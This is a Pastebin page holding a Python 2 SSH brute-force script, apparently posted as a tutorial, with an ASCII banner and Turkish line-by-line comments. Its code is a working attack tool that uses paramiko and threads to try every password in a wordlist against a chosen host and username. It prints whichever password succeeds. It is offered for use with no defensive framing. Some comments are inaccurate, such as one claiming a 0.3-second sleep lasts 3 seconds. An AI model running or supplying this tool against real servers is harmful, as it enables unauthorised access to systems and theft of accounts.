Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- __author__ = "Insurgent"
- print""" _____ _____ __ __ ____ ____ __ __ ______ ___ _____ ___ ____ __ ___ ____
- / ___// ___/| T T | \ | \ | T T| T / _] | | / \ | \ / ] / _]| \
- ( \_( \_ | l | | o )| D )| | || | / [_ | __jY Y| D ) / / / [_ | D )
- \__ T\__ T| _ | | T| / | | |l_j l_jY _] | l_ | O || / / / Y _]| /
- / \ |/ \ || | | | O || \ | : | | | | [_ | _] | || \ / \_ | [_ | \
- \ |\ || | | | || . Yl | | | | T | T l !| . Y\ || T| . Y
- \___j \___jl__j__j l_____jl__j\_j \__,_j l__j l_____j l__j \___/ l__j\_j \____jl_____jl__j\_j
- """
- import argparse, threading, paramiko, time # kutuphanelerimiz
- global wordlist # wordlist degiskenini her fonskiyon,method'tan ulasılabilecek hale getiriyoruz
- parser = argparse.ArgumentParser(description='SSH Brute Force') # argumanlarimiz'a aciklama ekliyoruz
- parser.add_argument('--hostname', # hostname argumani olusturuyoruz
- help="Brute force denenecek ip'miz.")
- parser.add_argument('--username', # username argumani olusturuyoruz
- help="Brute force denenecek kullanici adi'miz.")
- parser.add_argument('--wordlist', # wordlist argumani olusturuyoruz
- help="Brute force icin sifre listemiz.")
- args = parser.parse_args() # argumanlarimiz'i erisebilir hale getiriyoruz.
- wordlist = open(args.wordlist, "r") # wordlist argumani'na verilen degeri dosyamizi okumak icin kullaniyoruz
- def godblessdonaldrump(hostname, Username, passwordlist): # tanri donald trump'u kutsasin fonksiyonumuz'a hostname, username ve passwordlist parametresi olusturuyoruz
- ssh = paramiko.SSHClient() # ssh degiskenimiz'e paramiko kutuphanesinde bulunan SSHClient fonksiyonumuz'u veriyoruz
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # ssh key'imizi autoaddpolicy fonksiyonumuz ile otomatik sectiriyoruz
- try: # dene hata verirse except'i uygula
- ssh.connect(args.hostname, username=Username, password=passwordlist) # ssh hostane'mimizi hostname argumanimiz olarak kullaniyoruz username olarak fonksiyon parametremizi aynı sekilde password'ude
- except paramiko.AuthenticationException: # dene hata verirsek except demistik ya o except bu except xD hatamiz'i secip assagidaki kodlari uyguluyoruz
- pass # boşver hatayı tek atmaya devam anlamli bu methodumuz
- else: # Bunuda bir nevi try gibi kullandık hata vermez ise sunlari yap hatamiz sifremizi bulmadigina dagir oldugu icin hatanin vermedigi bir sifre bizim passwordumuz olacak MANTIK BUNA DENİ BE xD
- print "! Sifre bulundu: " + passwordlist # sifremizi ekrana yazdir
- ssh.close() # ssh baglantisini kapat
- return # bu adresimiz vazgecilmezimiz diyebiliriz. dönecegimiz adresi belirliyor ama adresimiz ne diyorsanız "Assembly Register Calling Convention" buyurun size keyword biraz ağır konu ama no pain no gain xD
- print "SSH Brute force isleminiz baslamis durumdadir.Sifre bulundugun'da ekranda cikacaktir !" # klasik yazı
- for satir in wordlist.readlines(): # for'u bilmeyeniniz yoktur. for ile satir degiskenini olusturup degiskenimize wordlist ile okudugumuz satirlari aktiriyoruz ama dongu yapilacak sekilde
- sifre = satir.strip() # sifre degiskenimize strip method'u ile her yeni satır'ı ekliyoruz
- thread = threading.Thread(target=godblessdonaldrump, args=(args.hostname, args.username, sifre)) # buyurun size yeni keyword "THREAD" arastirmak icin bunu size bırakıyorum sadece icindekileri anlatayim target olarak fonksiyonumuz args'ada fonksiyon parametrelerimizi ekliyoruz.
- thread.start() # "THREAD"ımızı başlatıyoruz
- time.sleep(0.3) # thread'ta olusan bir problem yüzünden bunu ekledim.Sleep fonksiyonu ile scriptimiz'in baslatilma süresini 3 saniye geciktiriyoruz
- wordlist.close() # Veeee büyük son sifre listemizi kapatiyoruz.
- # Arkadaslar unutmayın arada turkce kelimeler gectigi icin yorum satırın'da bir dil "UNİCODE"u eklememiz gerek assagida listeyi verdim.Script'in en basina eklenecek bu
- # Windows için : # -*- coding: cp1254 -*-
- # GNU/Linux için : # -*- coding: utf-8 -*-
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement